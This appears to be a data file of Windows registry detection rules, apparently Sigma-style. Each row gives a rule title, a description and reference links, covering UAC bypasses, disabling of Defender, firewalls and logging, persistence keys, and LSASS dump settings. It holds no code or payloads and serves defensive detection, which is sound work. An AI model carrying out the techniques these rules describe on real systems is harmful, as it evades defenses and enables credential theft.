Bypass UAC Using Event Viewer	Bypasses User Account Control using Event Viewer and a relevant Windows Registry modification	https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/, https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1548.002/T1548.002.md#atomic-test-1---bypass-uac-using-event-viewer-cmd
Blackbyte Ransomware Registry	BlackByte set three different registry values to escalate privileges and begin setting the stage for lateral movement and encryption	https://redcanary.com/blog/blackbyte-ransomware/?utm_source=twitter&utm_medium=social, https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/blackbyte-ransomware-pt-1-in-depth-analysis/
Bypass UAC Using DelegateExecute	Bypasses User Account Control using a fileless method	https://learn.microsoft.com/en-us/windows/win32/api/shobjidl_core/nn-shobjidl_core-iexecutecommand, https://devblogs.microsoft.com/oldnewthing/20100312-01/?p=14623, https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1548.002/T1548.002.md#atomic-test-7---bypass-uac-using-sdclt-delegateexecute
Bypass UAC Using SilentCleanup Task	Detects the setting of the environement variable "windir" to a non default value. Attackers often abuse this variable in order to trigger a UAC bypass via the "SilentCleanup" task. The SilentCleanup task located in %windir%\system32\cleanmgr.exe is an auto-elevated task that can be abused to elevate any file with administrator privileges without prompting UAC.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1548.002/T1548.002.md#atomic-test-9---bypass-uac-using-silentcleanup-task, https://www.reddit.com/r/hacking/comments/ajtrws/bypassing_highest_uac_level_windows_810/, https://www.fortinet.com/blog/threat-research/enter-the-darkgate-new-cryptocurrency-mining-and-ransomware-campaign
Default RDP Port Changed to Non Standard Port	Detects changes to the default RDP port. Remote desktop is a common feature in operating systems. It allows a user to log into a remote system using an interactive session with a graphical user interface. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1021.001/T1021.001.md#atomic-test-1---rdp-to-domaincontroller
IE Change Domain Zone	Hides the file extension through modification of the registry	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md#atomic-test-4---add-domain-to-trusted-sites-zone, https://learn.microsoft.com/en-us/troubleshoot/developer/browsers/security-privacy/ie-security-zones-registry-entries
Sysmon Driver Altitude Change	Detects changes in Sysmon driver altitude value. If the Sysmon driver is configured to load at an altitude of another registered service, it will fail to load at boot.	https://posts.specterops.io/shhmon-silencing-sysmon-via-driver-unload-682b5be57650, https://youtu.be/zSihR3lTf7g
Change Winevt Channel Access Permission Via Registry	Detects tampering with the "ChannelAccess" registry key in order to change access to Windows event channel.	https://app.any.run/tasks/77b2e328-8f36-46b2-b2e2-8a80398217ab/, https://learn.microsoft.com/en-us/windows/win32/api/winevt/, https://itconnect.uw.edu/tools-services-support/it-systems-infrastructure/msinf/other-help/understanding-sddl-syntax/
Running Chrome VPN Extensions via the Registry 2 VPN Extension	Running Chrome VPN Extensions via the Registry install 2 vpn extension	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1133/T1133.md#atomic-test-1---running-chrome-vpn-extensions-via-the-registry-2-vpn-extension
ClickOnce Trust Prompt Tampering	Detects changes to the ClickOnce trust prompt registry key in order to enable an installation from different locations such as the Internet.	https://posts.specterops.io/less-smartscreen-more-caffeine-ab-using-clickonce-for-trusted-code-execution-1446ea8051c5, https://learn.microsoft.com/en-us/visualstudio/deployment/how-to-configure-the-clickonce-trust-prompt-behavior
Potential CobaltStrike Service Installations - Registry	Detects known malicious service installs that appear in cases in which a Cobalt Strike beacon elevates privileges or lateral movement.	https://www.sans.org/webcasts/tech-tuesday-workshop-cobalt-strike-detection-log-analysis-119395
COM Hijack via Sdclt	Detects changes to 'HKCU\Software\Classes\Folder\shell\open\command\DelegateExecute'	http://blog.sevagas.com/?Yet-another-sdclt-UAC-bypass, https://www.exploit-db.com/exploits/47696
CrashControl CrashDump Disabled	Detects disabling the CrashDump per registry (as used by HermeticWiper)	https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack/
Service Binary in Suspicious Folder	Detect the creation of a service with a service binary located in a suspicious directory	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md
Custom File Open Handler Executes PowerShell	Detects the abuse of custom file open handler, executing powershell	https://news.sophos.com/en-us/2022/02/01/solarmarker-campaign-used-novel-registry-changes-to-establish-persistence/?cmp=30728
Potential Registry Persistence Attempt Via DbgManagedDebugger	Detects the addition of the "Debugger" value to the "DbgManagedDebugger" key in order to achieve persistence. Which will get invoked when an application crashes	https://www.hexacorn.com/blog/2013/09/19/beyond-good-ol-run-key-part-4/, https://github.com/last-byte/PersistenceSniper
Windows Defender Exclusions Added - Registry	Detects the Setting of Windows Defender Exclusions	https://twitter.com/_nullbind/status/1204923340810543109
Potentially Suspicious Desktop Background Change Via Registry	Detects registry value settings that would replace the user's desktop background. This is a common technique used by malware to change the desktop background to a ransom note or other image.	https://www.attackiq.com/2023/09/20/emulating-rhysida/, https://research.checkpoint.com/2023/the-rhysida-ransomware-activity-analysis-and-ties-to-vice-society/, https://www.trendmicro.com/en_us/research/23/h/an-overview-of-the-new-rhysida-ransomware.html, https://www.virustotal.com/gui/file/a864282fea5a536510ae86c77ce46f7827687783628e4f2ceb5bf2c41b8cd3c6/behavior, https://admx.help/?Category=Windows_10_2016&Policy=Microsoft.Policies.WindowsDesktop::Wallpaper, https://admx.help/?Category=Windows_10_2016&Policy=Microsoft.Policies.ControlPanelDisplay::CPL_Personalization_NoDesktopBackgroundUI
Antivirus Filter Driver Disallowed On Dev Drive - Registry	Detects activity that indicates a user disabling the ability for Antivirus mini filter to inspect a "Dev Drive".	https://twitter.com/0gtweet/status/1720419490519752955
Hypervisor Enforced Code Integrity Disabled	Detects changes to the HypervisorEnforcedCodeIntegrity registry key and the "Enabled" value being set to 0 in order to disable the Hypervisor Enforced Code Integrity feature. This allows an attacker to load unsigned and untrusted code to be run in the kernel	https://www.welivesecurity.com/2023/03/01/blacklotus-uefi-bootkit-myth-confirmed/, https://github.com/redcanaryco/atomic-red-team/blob/04e487c1828d76df3e834621f4f893ea756d5232/atomics/T1562.001/T1562.001.md#atomic-test-43---disable-hypervisor-enforced-code-integrity-hvci
Hypervisor Enforced Paging Translation Disabled	Detects changes to the "DisableHypervisorEnforcedPagingTranslation" registry value. Where the it is set to "1" in order to disable the Hypervisor Enforced Paging Translation feature.	https://twitter.com/standa_t/status/1808868985678803222, https://github.com/AaLl86/WindowsInternals/blob/070dc4f317726dfb6ffd2b7a7c121a33a8659b5e/Slides/Hypervisor-enforced%20Paging%20Translation%20-%20The%20end%20of%20non%20data-driven%20Kernel%20Exploits%20(Recon2024).pdf
DHCP Callout DLL Installation	Detects the installation of a Callout DLL via CalloutDlls and CalloutEnabled parameter in Registry, which can be used to execute code in context of the DHCP server (restart required)	https://blog.3or.de/mimilib-dhcp-server-callout-dll-injection.html, https://technet.microsoft.com/en-us/library/cc726884(v=ws.10).aspx, https://msdn.microsoft.com/de-de/library/windows/desktop/aa363389(v=vs.85).aspx
Disable Exploit Guard Network Protection on Windows Defender	Detects disabling Windows Defender Exploit Guard Network Protection	https://www.tenforums.com/tutorials/105533-enable-disable-windows-defender-exploit-protection-settings.html
Disable Administrative Share Creation at Startup	Administrative shares are hidden network shares created by Microsoft Windows NT operating systems that grant system administrators remote access to every disk volume on a network-connected system	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.005/T1070.005.md#atomic-test-4---disable-administrative-share-creation-at-startup
Disabled Windows Defender Eventlog	Detects the disabling of the Windows Defender eventlog as seen in relation to Lockbit 3.0 infections	https://twitter.com/WhichbufferArda/status/1543900539280293889/photo/2
Disable PUA Protection on Windows Defender	Detects disabling Windows Defender PUA protection	https://www.tenforums.com/tutorials/32236-enable-disable-microsoft-defender-pua-protection-windows-10-a.html
Disable Tamper Protection on Windows Defender	Detects disabling Windows Defender Tamper Protection	https://www.tenforums.com/tutorials/123792-turn-off-tamper-protection-microsoft-defender-antivirus.html
Potential AutoLogger Sessions Tampering	Detects tampering with autologger trace sessions which is a technique used by attackers to disable logging	https://twitter.com/MichalKoczwara/status/1553634816016498688, https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/, https://i.blackhat.com/EU-21/Wednesday/EU-21-Teodorescu-Veni-No-Vidi-No-Vici-Attacks-On-ETW-Blind-EDRs.pdf
Disable Microsoft Defender Firewall via Registry	Adversaries may disable or modify system firewalls in order to bypass controls limiting network usage	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.004/T1562.004.md#atomic-test-2---disable-microsoft-defender-firewall-via-registry
Disable Internal Tools or Feature in Registry	Detects registry modifications that change features of internal Windows tools (malware like Agent Tesla uses this technique)	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md, https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions, https://blogs.vmware.com/security/2022/11/batloader-the-evasive-downloader-malware.html, https://www.malwarebytes.com/blog/detections/pum-optional-nodispbackgroundpage, https://www.malwarebytes.com/blog/detections/pum-optional-nodispcpl
Disable Macro Runtime Scan Scope	Detects tampering with the MacroRuntimeScanScope registry key to disable runtime scanning of enabled macros	https://www.microsoft.com/en-us/security/blog/2018/09/12/office-vba-amsi-parting-the-veil-on-malicious-macros/, https://admx.help/?Category=Office2016&Policy=office16.Office.Microsoft.Policies.Windows::L_MacroRuntimeScanScope, https://github.com/S3cur3Th1sSh1t/OffensiveVBA/blob/28cc6a2802d8176195ac19b3c8e9a749009a82a3/src/AMSIbypasses.vba
Disable Privacy Settings Experience in Registry	Detects registry modifications that disable Privacy Settings Experience	https://github.com/redcanaryco/atomic-red-team/blob/9e5b12c4912c07562aec7500447b11fa3e17e254/atomics/T1562.001/T1562.001.md
Disable Windows Security Center Notifications	Detect set UseActionCenterExperience to 0 to disable the Windows security center notification	https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1112/T1112.md
Registry Disable System Restore	Detects the modification of the registry to disable a system restore on the computer	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-9---disable-system-restore-through-registry
Windows Defender Service Disabled - Registry	Detects when an attacker or tool disables the Windows Defender service (WinDefend) via the registry	https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/, https://gist.github.com/anadr/7465a9fde63d41341136949f14c21105
Disable Windows Firewall by Registry	Detect set EnableFirewall to 0 to disable the Windows firewall	https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1562.004/T1562.004.md
Disable Windows Event Logging Via Registry	Detects tampering with the "Enabled" registry key in order to disable Windows logging of a Windows event channel	https://twitter.com/WhichbufferArda/status/1543900539280293889, https://github.com/DebugPrivilege/CPP/blob/c39d365617dbfbcb01fffad200d52b6239b2918c/Windows%20Defender/RestoreDefenderConfig.cpp
Add DisallowRun Execution to Registry	Detect set DisallowRun to 1 to prevent user running specific computer program	https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1112/T1112.md
Persistence Via Disk Cleanup Handler - Autorun	Detects when an attacker modifies values of the Disk Cleanup Handler in the registry to achieve persistence via autorun. The disk cleanup manager is part of the operating system. It displays the dialog box […] The user has the option of enabling or disabling individual handlers by selecting or clearing their check box in the disk cleanup manager's UI. Although Windows comes with a number of disk cleanup handlers, they aren't designed to handle files produced by other applications. Instead, the disk cleanup manager is designed to be flexible and extensible by enabling any developer to implement and register their own disk cleanup handler. Any developer can extend the available disk cleanup services by implementing and registering a disk cleanup handler.	https://persistence-info.github.io/Data/diskcleanuphandler.html, https://www.hexacorn.com/blog/2018/09/02/beyond-good-ol-run-key-part-86/
DNS-over-HTTPS Enabled by Registry	Detects when a user enables DNS-over-HTTPS. This can be used to hide internet activity or be used to hide the process of exfiltrating data. With this enabled organization will lose visibility into data such as query type, response and originating IP that are used to determine bad actors.	https://www.tenforums.com/tutorials/151318-how-enable-disable-dns-over-https-doh-microsoft-edge.html, https://github.com/elastic/detection-rules/issues/1371, https://chromeenterprise.google/policies/?policy=DnsOverHttpsMode, https://admx.help/HKLM/Software/Policies/Mozilla/Firefox/DNSOverHTTPS
New DNS ServerLevelPluginDll Installed	Detects the installation of a DNS plugin DLL via ServerLevelPluginDll parameter in registry, which can be used to execute code in context of the DNS server (restart required)	https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83, https://blog.3or.de/hunting-dns-server-level-plugin-dll-injection.html
ETW Logging Disabled In .NET Processes - Sysmon Registry	Potential adversaries stopping ETW providers recording loaded .NET assemblies.	https://twitter.com/_xpn_/status/1268712093928378368, https://social.msdn.microsoft.com/Forums/vstudio/en-US/0878832e-39d7-4eaf-8e16-a729c4c40975/what-can-i-use-e13c0d23ccbc4e12931bd9cc2eee27e4-for?forum=clr, https://github.com/dotnet/runtime/blob/ee2355c801d892f2894b0f7b14a20e6cc50e0e54/docs/design/coreclr/jit/viewing-jit-dumps.md#setting-configuration-variables, https://github.com/dotnet/runtime/blob/f62e93416a1799aecc6b0947adad55a0d9870732/src/coreclr/src/inc/clrconfigvalues.h#L35-L38, https://github.com/dotnet/runtime/blob/7abe42dc1123722ed385218268bb9fe04556e3d3/src/coreclr/src/inc/clrconfig.h#L33-L39, https://github.com/dotnet/runtime/search?p=1&q=COMPlus_&unscoped_q=COMPlus_, https://bunnyinside.com/?term=f71e8cb9c76a, http://managed670.rssing.com/chan-5590147/all_p1.html, https://github.com/dotnet/runtime/blob/4f9ae42d861fcb4be2fcd5d3d55d5f227d30e723/docs/coding-guidelines/clr-jit-coding-conventions.md#1412-disabling-code, https://blog.xpnsec.com/hiding-your-dotnet-complus-etwenabled/, https://i.blackhat.com/EU-21/Wednesday/EU-21-Teodorescu-Veni-No-Vidi-No-Vici-Attacks-On-ETW-Blind-EDRs.pdf
Directory Service Restore Mode(DSRM) Registry Value Tampering	Detects changes to "DsrmAdminLogonBehavior" registry value. During a Domain Controller (DC) promotion, administrators create a Directory Services Restore Mode (DSRM) local administrator account with a password that rarely changes. The DSRM account is an “Administrator” account that logs in with the DSRM mode when the server is booting up to restore AD backups or recover the server from a failure. Attackers could abuse DSRM account to maintain their persistence and access to the organization's Active Directory. If the "DsrmAdminLogonBehavior" value is set to "0", the administrator account can only be used if the DC starts in DSRM. If the "DsrmAdminLogonBehavior" value is set to "1", the administrator account can only be used if the local AD DS service is stopped. If the "DsrmAdminLogonBehavior" value is set to "2", the administrator account can always be used.	https://adsecurity.org/?p=1785, https://www.sentinelone.com/blog/detecting-dsrm-account-misconfigurations/, https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/dsrm-credentials
Periodic Backup For System Registry Hives Enabled	Detects the enabling of the "EnablePeriodicBackup" registry value. Once enabled, The OS will backup System registry hives on restarts to the "C:\Windows\System32\config\RegBack" folder. Windows creates a "RegIdleBackup" task to manage subsequent backups. Registry backup was a default behavior on Windows and was disabled as of "Windows 10, version 1803".	https://learn.microsoft.com/en-us/troubleshoot/windows-client/installing-updates-features-roles/system-registry-no-backed-up-regback-folder
Windows Recall Feature Enabled - Registry	Detects the enabling of the Windows Recall feature via registry manipulation. Windows Recall can be enabled by setting the value of "DisableAIDataAnalysis" to "0". Adversaries may enable Windows Recall as part of post-exploitation discovery and collection activities. This rule assumes that Recall is already explicitly disabled on the host, and subsequently enabled by the adversary.	https://learn.microsoft.com/en-us/windows/client-management/manage-recall, https://learn.microsoft.com/en-us/windows/client-management/mdm/policy-csp-windowsai#disableaidataanalysis
Enabling COR Profiler Environment Variables	Detects .NET Framework CLR and .NET Core CLR "cor_enable_profiling" and "cor_profiler" variables being set and configured.	https://twitter.com/jamieantisocial/status/1304520651248668673, https://www.slideshare.net/JamieWilliams130/started-from-the-bottom-exploiting-data-sources-to-uncover-attck-behaviors, https://www.sans.org/cyber-security-summit/archives, https://learn.microsoft.com/en-us/dotnet/core/runtime-config/debugging-profiling
Potential EventLog File Location Tampering	Detects tampering with EventLog service "file" key. In order to change the default location of an Evtx file. This technique is used to tamper with log collection and alerting	https://learn.microsoft.com/en-us/windows/win32/eventlog/eventlog-key
Scripted Diagnostics Turn Off Check Enabled - Registry	Detects enabling TurnOffCheck which can be used to bypass defense of MSDT Follina vulnerability	https://twitter.com/wdormann/status/1537075968568877057?s=20&t=0lr18OAnmAGoGpma6grLUw
Suspicious Application Allowed Through Exploit Guard	Detects applications being added to the "allowed applications" list of exploit guard in order to bypass controlled folder settings	https://www.microsoft.com/security/blog/2017/10/23/windows-defender-exploit-guard-reduce-the-attack-surface-against-next-generation-malware/
Change User Account Associated with the FAX Service	Detect change of the user account associated with the FAX service to avoid the escalation problem.	https://twitter.com/dottor_morte/status/1544652325570191361, https://raw.githubusercontent.com/RiccardoAncarani/talks/master/F-Secure/unorthodox-lateral-movement.pdf
Change the Fax Dll	Detect possible persistence using Fax DLL load when service restart	https://twitter.com/dottor_morte/status/1544652325570191361, https://raw.githubusercontent.com/RiccardoAncarani/talks/master/F-Secure/unorthodox-lateral-movement.pdf
New File Association Using Exefile	Detects the abuse of the exefile handler in new file association. Used for bypass of security products.	https://twitter.com/mrd0x/status/1461041276514623491
Add Debugger Entry To Hangs Key For Persistence	Detects when an attacker adds a new "Debugger" value to the "Hangs" key in order to achieve persistence which will get invoked when an application crashes	https://persistence-info.github.io/Data/wer_debugger.html, https://www.hexacorn.com/blog/2019/09/20/beyond-good-ol-run-key-part-116/
Persistence Via Hhctrl.ocx	Detects when an attacker modifies the registry value of the "hhctrl" to point to a custom binary	https://persistence-info.github.io/Data/hhctrl.html, https://www.hexacorn.com/blog/2018/04/23/beyond-good-ol-run-key-part-77/
Registry Modification to Hidden File Extension	Hides the file extension through modification of the registry	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md#atomic-test-1---modify-registry-of-current-user-profile---cmd, https://unit42.paloaltonetworks.com/ransomware-families/, https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=TrojanSpy%3aMSIL%2fHakey.A
Displaying Hidden Files Feature Disabled	Detects modifications to the "Hidden" and "ShowSuperHidden" explorer registry values in order to disable showing of hidden files and system files. This technique is abused by several malware families to hide their files from normal users.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.001/T1564.001.md#atomic-test-8---hide-files-through-registry
Registry Hide Function from User	Detects registry modifications that hide internal tools or functions from the user (malware like Agent Tesla, Hermetic Wiper uses this technique)	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.001/T1564.001.md
Hide Schedule Task Via Index Value Tamper	Detects when the "index" value of a scheduled task is modified from the registry Which effectively hides it from any tooling such as "schtasks /query" (Read the referenced link for more information about the effects of this technique)	https://blog.qualys.com/vulnerabilities-threat-research/2022/06/20/defending-against-scheduled-task-attacks-in-windows-environments
Driver Added To Disallowed Images In HVCI - Registry	Detects changes to the "HVCIDisallowedImages" registry value to potentially add a driver to the list, in order to prevent it from loading.	https://github.com/yardenshafir/conference_talks/blob/3de1f5d7c02656c35117f067fbff0a219c304b09/OffensiveCon_2023_Your_Mitigations_are_My_Opportunities.pdf, https://x.com/yarden_shafir/status/1822667605175324787
IE ZoneMap Setting Downgraded To MyComputer Zone For HTTP Protocols	Detects changes to Internet Explorer's (IE / Windows Internet properties) ZoneMap configuration of the "HTTP" and "HTTPS" protocols to point to the "My Computer" zone. This allows downloaded files from the Internet to be granted the same level of trust as files stored locally.	https://twitter.com/M_haggis/status/1699056847154725107, https://twitter.com/JAMESWT_MHT/status/1699042827261391247, https://learn.microsoft.com/en-us/troubleshoot/developer/browsers/security-privacy/ie-security-zones-registry-entries, https://www.virustotal.com/gui/file/339ff720c74dc44265b917b6d3e3ba0411d61f3cd3c328e9a2bae81592c8a6e5/content
Uncommon Extension In Keyboard Layout IME File Registry Value	Detects usage of Windows Input Method Editor (IME) keyboard layout feature, which allows an attacker to load a DLL into the process after sending the WM_INPUTLANGCHANGEREQUEST message. Before doing this, the client needs to register the DLL in a special registry key that is assumed to implement this keyboard layout. This registry key should store a value named "Ime File" with a DLL path. IMEs are essential for languages that have more characters than can be represented on a standard keyboard, such as Chinese, Japanese, and Korean.	https://www.linkedin.com/pulse/guntior-story-advanced-bootkit-doesnt-rely-windows-disk-baranov-wue8e/
Suspicious Path In Keyboard Layout IME File Registry Value	Detects usage of Windows Input Method Editor (IME) keyboard layout feature, which allows an attacker to load a DLL into the process after sending the WM_INPUTLANGCHANGEREQUEST message. Before doing this, the client needs to register the DLL in a special registry key that is assumed to implement this keyboard layout. This registry key should store a value named "Ime File" with a DLL path. IMEs are essential for languages that have more characters than can be represented on a standard keyboard, such as Chinese, Japanese, and Korean.	https://www.linkedin.com/pulse/guntior-story-advanced-bootkit-doesnt-rely-windows-disk-baranov-wue8e/
New Root or CA or AuthRoot Certificate to Store	Detects the addition of new root, CA or AuthRoot certificates to the Windows registry	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.004/T1553.004.md#atomic-test-6---add-root-certificate-to-currentuser-certificate-store, https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec
Internet Explorer DisableFirstRunCustomize Enabled	Detects changes to the Internet Explorer "DisableFirstRunCustomize" value, which prevents Internet Explorer from running the first run wizard the first time a user starts the browser after installing Internet Explorer or Windows.	https://www.ncsc.gov.uk/static-assets/documents/malware-analysis-reports/devil-bait/NCSC-MAR-Devil-Bait.pdf, https://unit42.paloaltonetworks.com/operation-ke3chang-resurfaces-with-new-tidepool-malware/, https://admx.help/?Category=InternetExplorer&Policy=Microsoft.Policies.InternetExplorer::NoFirstRunCustomise
Potential Ransomware Activity Using LegalNotice Message	Detect changes to the "LegalNoticeCaption" or "LegalNoticeText" registry values where the message set contains keywords often used in ransomware ransom messages	https://github.com/redcanaryco/atomic-red-team/blob/5c1e6f1b4fafd01c8d1ece85f510160fc1275fbf/atomics/T1491.001/T1491.001.md
Lolbas OneDriveStandaloneUpdater.exe Proxy Download	Detects setting a custom URL for OneDriveStandaloneUpdater.exe to download a file from the Internet without executing any anomalous executables with suspicious arguments. The downloaded file will be in C:\Users\redacted\AppData\Local\Microsoft\OneDrive\StandaloneUpdaterreSignInSettingsConfig.json	https://lolbas-project.github.io/lolbas/Binaries/OneDriveStandaloneUpdater/
Lsass Full Dump Request Via DumpType Registry Settings	Detects the setting of the "DumpType" registry value to "2" which stands for a "Full Dump". Technique such as LSASS Shtinkering requires this value to be "2" in order to dump LSASS.	https://github.com/deepinstinct/Lsass-Shtinkering, https://learn.microsoft.com/en-us/windows/win32/wer/collecting-user-mode-dumps, https://media.defcon.org/DEF%20CON%2030/DEF%20CON%2030%20presentations/Asaf%20Gilboa%20-%20LSASS%20Shtinkering%20Abusing%20Windows%20Error%20Reporting%20to%20Dump%20LSASS.pdf
RestrictedAdminMode Registry Value Tampering	Detects changes to the "DisableRestrictedAdmin" registry value in order to disable or enable RestrictedAdmin mode. RestrictedAdmin mode prevents the transmission of reusable credentials to the remote system to which you connect using Remote Desktop. This prevents your credentials from being harvested during the initial connection process if the remote server has been compromise	https://github.com/redcanaryco/atomic-red-team/blob/a8e3cf63e97b973a25903d3df9fd55da6252e564/atomics/T1112/T1112.md, https://social.technet.microsoft.com/wiki/contents/articles/32905.remote-desktop-services-enable-restricted-admin-mode.aspx
Blue Mockingbird - Registry	Attempts to detect system changes made by Blue Mockingbird	https://redcanary.com/blog/blue-mockingbird-cryptominer/
Potential Persistence Via Netsh Helper DLL - Registry	Detects changes to the Netsh registry key to add a new DLL value. This change might be an indication of a potential persistence attempt by adding a malicious Netsh helper	https://www.ired.team/offensive-security/persistence/t1128-netsh-helper-dll, https://pentestlab.blog/2019/10/29/persistence-netsh-helper-dll/
New Netsh Helper DLL Registered From A Suspicious Location	Detects changes to the Netsh registry key to add a new DLL value that is located on a suspicious location. This change might be an indication of a potential persistence attempt by adding a malicious Netsh helper	https://www.ired.team/offensive-security/persistence/t1128-netsh-helper-dll, https://pentestlab.blog/2019/10/29/persistence-netsh-helper-dll/
NET NGenAssemblyUsageLog Registry Key Tamper	Detects changes to the NGenAssemblyUsageLog registry key. .NET Usage Log output location can be controlled by setting the NGenAssemblyUsageLog CLR configuration knob in the Registry or by configuring an environment variable (as described in the next section). By simplify specifying an arbitrary value (e.g. fake output location or junk data) for the expected value, a Usage Log file for the .NET execution context will not be created.	https://bohops.com/2021/03/16/investigating-net-clr-usage-log-tampering-techniques-for-edr-evasion/
New Application in AppCompat	A General detection for a new application in AppCompat. This indicates an application executing for the first time on an endpoint.	https://github.com/OTRF/detection-hackathon-apt29/issues/1, https://github.com/OTRF/ThreatHunter-Playbook/blob/2d4257f630f4c9770f78d0c1df059f891ffc3fec/docs/evals/apt29/detections/1.A.1_DFD6A782-9BDB-4550-AB6B-525E825B095E.md
Potential Credential Dumping Attempt Using New NetworkProvider - REG	Detects when an attacker tries to add a new network provider in order to dump clear text credentials, similar to how the NPPSpy tool does it	https://learn.microsoft.com/en-us/troubleshoot/windows-client/setup-upgrade-and-drivers/network-provider-settings-removed-in-place-upgrade, https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy
New ODBC Driver Registered	Detects the registration of a new ODBC driver.	https://www.hexacorn.com/blog/2020/08/23/odbcconf-lolbin-trifecta/
Potentially Suspicious ODBC Driver Registered	Detects the registration of a new ODBC driver where the driver is located in a potentially suspicious location	https://www.hexacorn.com/blog/2020/08/23/odbcconf-lolbin-trifecta/
Microsoft Office Protected View Disabled	Detects changes to Microsoft Office protected view registry keys with which the attacker disables this feature.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md, https://unit42.paloaltonetworks.com/unit42-gorgon-group-slithering-nation-state-cybercrime/, https://yoroi.company/research/cyber-criminal-espionage-operation-insists-on-italian-manufacturing/, https://admx.help/HKCU/software/policies/microsoft/office/16.0/excel/security/protectedview
Trust Access Disable For VBApplications	Detects registry changes to Microsoft Office "AccessVBOM" to a value of "1" which disables trust access for VBA on the victim machine and lets attackers execute malicious macros without any Microsoft Office warnings.	https://twitter.com/inversecos/status/1494174785621819397, https://www.mcafee.com/blogs/other-blogs/mcafee-labs/zloader-with-a-new-infection-technique/, https://securelist.com/scarcruft-surveilling-north-korean-defectors-and-human-rights-activists/105074/
Python Function Execution Security Warning Disabled In Excel - Registry	Detects changes to the registry value "PythonFunctionWarnings" that would prevent any warnings or alerts from showing when Python functions are about to be executed. Threat actors could run malicious code through the new Microsoft Excel feature that allows Python to run within the spreadsheet.	https://support.microsoft.com/en-us/office/data-security-and-python-in-excel-33cc88a4-4a87-485e-9ff9-f35958278327
Enable Microsoft Dynamic Data Exchange	Enable Dynamic Data Exchange protocol (DDE) in all supported editions of Microsoft Word or Excel.	https://msrc.microsoft.com/update-guide/vulnerability/ADV170021
Potential Persistence Via Outlook LoadMacroProviderOnBoot Setting	Detects the modification of Outlook setting "LoadMacroProviderOnBoot" which if enabled allows the automatic loading of any configured VBA project/module	https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=53, https://www.linkedin.com/pulse/outlook-backdoor-using-vba-samir-b-/
Outlook Macro Execution Without Warning Setting Enabled	Detects the modification of Outlook security setting to allow unprompted execution of macros.	https://www.mdsec.co.uk/2020/11/a-fresh-outlook-on-mail-based-persistence/, https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=53
Outlook EnableUnsafeClientMailRules Setting Enabled - Registry	Detects an attacker trying to enable the outlook security setting "EnableUnsafeClientMailRules" which allows outlook to run applications or execute macros	https://support.microsoft.com/en-us/topic/how-to-control-the-rule-actions-to-start-an-application-or-run-a-macro-in-outlook-2016-and-outlook-2013-e4964b72-173c-959d-5d7b-ead562979048, https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=44
Outlook Security Settings Updated - Registry	Detects changes to the registry values related to outlook security settings	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1137/T1137.md, https://learn.microsoft.com/en-us/outlook/troubleshoot/security/information-about-email-security-settings
Uncommon Microsoft Office Trusted Location Added	Detects changes to registry keys related to "Trusted Location" of Microsoft Office where the path is set to something uncommon. Attackers might add additional trusted locations to avoid macro security restrictions.	Internal Research, https://admx.help/?Category=Office2016&Policy=excel16.Office.Microsoft.Policies.Windows::L_TrustedLoc01
Macro Enabled In A Potentially Suspicious Document	Detects registry changes to Office trust records where the path is located in a potentially suspicious location	https://twitter.com/inversecos/status/1494174785621819397, Internal Research
